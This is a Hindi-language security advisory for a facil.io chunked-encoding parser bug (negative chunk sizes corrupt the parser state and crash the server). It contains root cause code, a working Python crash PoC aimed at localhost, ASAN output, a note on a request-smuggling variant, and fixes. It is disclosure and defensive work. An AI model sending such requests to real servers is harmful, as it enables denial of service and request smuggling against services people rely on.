
CVE-2026-66731 के लिए सुरक्षा परामर्श, जिसमें मूल कारण विश्लेषण, PoC एक्सप्लॉइट, और facil.io HTTP/1.1 चंक्ड एन्कोडिंग पार्सर बग के लिए सुधार सुझाव शामिल हैं।
निर्धारित CVE ID: CVE-2026-66731
उत्पाद: facil.io
प्रभावित संस्करण: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); यह तब जोड़ा गया जब 0.8.x HTTP/1.1 पार्सर को 0.7.5 में बैकपोर्ट किया गया - 0.6.x या 0.7.0–0.7.3 में मौजूद नहीं है
घटक: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (अनुचित इनपुट सत्यापन), CWE-682 (गलत गणना), CWE-125 (आउट-ऑफ-बाउंड्स रीड)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
शोधकर्ता: थियोडोसिस पैदाकिस
चंक्ड ट्रांसफर एन्कोडिंग पार्सर चंक साइज़ मानों में अग्रणी ऋण चिह्न स्वीकार करता है। http1_atol16 -FFFFFF जैसे इनपुट के लिए नेगेटिव long long लौटाता है। पार्सर 0 - chunk_len को "चंक के अंदर" के लिए सेंटिनल के रूप में content_length में संग्रहीत करता है। जब chunk_len नेगेटिव होता है, तो वह घटाव एक बड़ा धनात्मक मान उत्पन्न करता है, जिससे स्टेट मशीन दूषित हो जाती है। उसके बाद एक पॉइंटर गणना रीड पॉइंटर को इनपुट बफर से लाखों बाइट्स पहले, अनमैप्ड मेमोरी में ले जाती है, जिससे प्रोसेस क्रैश हो जाता है। एक बिना प्रमाणीकरण वाला POST अनुरोध पर्याप्त है।
चरण 1: http1_atol16 अग्रणी ऋण चिह्न स्वीकार करता है
lib/facil/http/parsers/http1_parser.h, पंक्तियाँ 316-346
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // पंक्ति 323: '-' स्वीकार करता है, inv=1 सेट करता है
/* ... हेक्स अंकों को i में पार्स करें ... */
if (inv)
i = 0ULL - i; // पंक्ति 341: दो-पूरक निषेध
return i; // नेगेटिव long long लौटाता है
}
इनपुट -FFFFFF\r\n उत्पन्न करता है chunk_len = -16777215LL। RFC 7230 धारा 4.1 चंक साइज़ को गैर-ऋणात्मक हेक्साडेसिमल पूर्णांक के रूप में निर्दिष्ट करता है। अग्रणी ऋण चिह्न मान्य नहीं है।
चरण 2: स्टेट मशीन भ्रष्टाचार
lib/facil/http/parsers/http1_parser.h, पंक्तियाँ 681-690
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // पंक्ति 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // पंक्ति 688: = 0 - (-16777215) = +16777215
पार्सर नेगेटिव content_length को "वर्तमान में चंक बॉडी पढ़ रहा है" के रूप में सेंटिनल के रूप में उपयोग करता है। +16777215 के धनात्मक content_length के साथ, स्टेट मशीन सोचती है कि यह 16 MB का सादा (नॉन-चंक्ड) बॉडी पढ़ रही है।
चरण 3: पॉइंटर अनमैप्ड मेमोरी में पीछे चला जाता है
अगले पुनरावृत्ति पर, पार्सर गणना करता है:
// lib/facil/http/parsers/http1_parser.h (~पंक्ति 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- इनपुट बफर से 16 MB पहले
उस पते से रीड विफल हो जाती है।
सर्वर शुरू करें, फिर चलाएँ:
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # नेगेटिव हेक्स चंक साइज़
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
ASAN आउटपुट (पुष्टि):
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // पॉइंटर शुरुआत से 16 MB पहले
भेजे गए चंक साइज़ द्वारा प्रभाव:
नोट: -0 मामला (0 - 0 = 0) "चंक्ड बॉडी पूर्ण" शाखा में जाता है और बच जाता है, लेकिन सर्वर अनुरोध को खाली बॉडी वाले के रूप में स्वीकार करता है, चाहे उसके बाद कोई भी डेटा आए। यह प्रॉक्सी परिनियोजन में अनुरोध तस्करी प्रिमिटिव के रूप में कार्य कर सकता है, जहाँ फ्रंट एंड चंक्ड एन्कोडिंग को अलग तरह से पार्स करता है।
नेगेटिव चंक साइज़ के साथ एक भी बिना प्रमाणीकरण वाला Transfer-Encoding: chunked अनुरोध सर्वर को क्रैश कर देता है। HTTP/1.1 स्वीकार करने वाला कोई भी एप्लिकेशन प्रभावित होता है; चंक्ड एन्कोडिंग एक मुख्य प्रोटोकॉल सुविधा है और इसके लिए किसी एप्लिकेशन-स्तरीय कॉन्फ़िगरेशन की आवश्यकता नहीं होती है।
दोनों दृष्टिकोणों में से कोई भी पर्याप्त है। Fix 1 को प्राथमिकता दें।
Fix 1: http1_atol16 में अग्रणी ऋण चिह्न को अस्वीकार करें
lib/facil/http/parsers/http1_parser.h, पंक्ति 322
// lib/facil/http/parsers/http1_parser.h:322 -- हेक्स पार्सिंग के लिए साइन लूप हटाएँ
// पंक्तियाँ 322-323 पूरी तरह हटाएँ, या इससे बदलें:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
Fix 2: उपयोग से पहले chunk_len को मान्य करें
lib/facil/http/parsers/http1_parser.h, पंक्ति 681
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // नेगेटिव चंक साइज़ को अस्वीकार करें
parser->state.content_length = 0 - chunk_len;
कमिट 53caca31 ("Fix atol16 to fix chunked length calculation", दिसंबर 2019) ने ओवरफ़्लो डिटेक्शन लूप शर्त को ठीक किया, लेकिन साइन-हैंडलिंग कोड को बनाए रखा। कमिट fe847cdf ("fix HTTP/1.1 parser against smuggling attack", मई 2020) ने TE/CL संघर्षों (दोनों Transfer-Encoding और Content-Length मौजूद) को संबोधित किया। इनमें से कोई भी नेगेटिव चंक साइज़ को कवर नहीं करता है।
| चंक साइज़ | भ्रष्टाचार के बाद content_length | परिणाम |
|---|
-0 | 0 | बॉडी चुपचाप छोड़ दी गई; सर्वर बच जाता है |
-1 | +1 | पॉइंटर शुरुआत से 1 बाइट पहले |
-FFFFFF | +16777215 | पॉइंटर शुरुआत से 16 MB पहले; क्रैश |
-7FFFFFFF | +2147483647 | पॉइंटर शुरुआत से 2 GB पहले; क्रैश |